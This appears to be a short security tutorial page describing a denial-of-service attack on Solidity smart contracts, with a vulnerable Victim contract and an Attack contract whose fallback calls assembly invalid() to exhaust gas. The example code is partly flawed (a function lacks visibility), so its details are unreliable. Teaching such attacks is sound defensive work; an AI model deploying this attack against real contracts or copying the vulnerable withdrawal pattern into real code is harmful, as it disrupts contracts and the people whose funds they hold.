icon

Solidity Denial of Service Attack

Last modified: 2023-09-30

We can denial the Solidity execution by consuming all gas using various ways.

DoS with Assembly Invalid Function

The invalid() opcode in in-line assembly consumes all the gas and causes Dos for the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	address public owner;
	uint public balance;

	function withdrawUser(address _address) {
		(bool success, ) = _address.call{value: balance}("");
		// Some code ...
	}
}

contract Attack {
  Victim target;

  constructor(address _targetAddress) {
    target = Victim(_targetAddress);
    target.withdrawUser(address(this));
  }

  fallback() payable external {
    assembly {
      invalid()
    }
  }
}